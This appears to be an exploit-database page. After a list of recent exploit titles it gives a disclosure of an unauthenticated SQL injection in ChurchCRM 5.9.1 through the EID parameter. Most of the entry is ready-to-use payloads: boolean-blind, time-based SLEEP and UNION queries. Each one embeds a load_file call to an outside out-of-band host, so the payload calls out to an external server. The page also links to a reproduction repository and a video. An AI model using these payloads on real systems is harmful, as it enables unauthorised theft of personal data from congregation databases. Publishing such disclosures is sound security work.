60175c9963
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
148 lines
No EOL
2.4 KiB
Text
148 lines
No EOL
2.4 KiB
Text
# Exploit Title: ChurchCRM 5.9.1 - SQL Injection
|
|
|
|
# Author: Sanan Qasimzada
|
|
|
|
# Date: 06.07.2024
|
|
|
|
# Vendor: http://churchcrm.io/
|
|
|
|
# Software: https://github.com/ChurchRM/CRM
|
|
|
|
# Reference: https://portswigger.net/web-security/sql-injection
|
|
|
|
|
|
|
|
# Description:
|
|
|
|
In the manual insertion point 1 - parameter `EID` appears to be
|
|
|
|
vulnerable to SQL injection attacks.
|
|
|
|
No need for cookies, no need admin authentication and etc.
|
|
|
|
The attacker easily can steal information from this system by using
|
|
|
|
this vulnerability.
|
|
|
|
|
|
|
|
STATUS: HIGH Vulnerability - CRITICAL
|
|
|
|
|
|
|
|
[+]Payload:
|
|
|
|
```mysql
|
|
|
|
---
|
|
|
|
Parameter: EID (GET)
|
|
|
|
Type: boolean-based blind
|
|
|
|
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
|
|
|
|
Payload: EID=(select
|
|
|
|
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
|
|
\\ior'))
|
|
|
|
OR NOT 2407=2407
|
|
|
|
|
|
|
|
Type: time-based blind
|
|
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
|
|
Payload: EID=(select
|
|
|
|
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
|
|
\\ior'))
|
|
|
|
AND (SELECT 9547 FROM (SELECT(SLEEP(3)))QEvX)
|
|
|
|
|
|
|
|
Type: UNION query
|
|
|
|
Title: MySQL UNION query (UTF8) - 11 columns
|
|
|
|
Payload: EID=(select
|
|
|
|
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
|
|
\\ior'))
|
|
|
|
UNION ALL SELECT
|
|
|
|
'UTF8','UTF8',CONCAT(0x716a6b7a71,0x57646e6842556a56796a75716b504b4d6941786f7578696a4c557449796d76425645505670694b42,0x717a7a7871),'UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8'#
|
|
|
|
---
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
# Reproduce:
|
|
|
|
[href](
|
|
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ChurchCRM/2023/ChurchCRM-4.5.3-121fcc1
|
|
)
|
|
|
|
|
|
|
|
# Proof and Exploit:
|
|
|
|
[href](https://streamable.com/1eqhw2)
|
|
|
|
|
|
|
|
# Time spend:
|
|
|
|
01:00:00
|
|
|
|
|
|
|
|
|
|
|
|
--
|
|
|
|
System Administrator - Infrastructure Engineer
|
|
|
|
Penetration Testing Engineer
|
|
|
|
Exploit developer at
|
|
|
|
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
|
|
|
|
https://www.exploit-db.com/
|
|
|
|
home page: https://www.nu11secur1ty.com/
|
|
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
|
|
nu11secur1ty <http://nu11secur1ty.com/>
|
|
|
|
|
|
|
|
--
|
|
|
|
System Administrator - Infrastructure Engineer
|
|
|
|
Penetration Testing Engineer
|
|
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
|
|
https://cve.mitre.org/index.html
|
|
|
|
https://cxsecurity.com/ and https://www.exploit-db.com/
|
|
|
|
0day Exploit DataBase https://0day.today/
|
|
|
|
home page: https://www.nu11secur1ty.com/
|
|
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
|
|
nu11secur1ty <http://nu11secur1ty.com/> |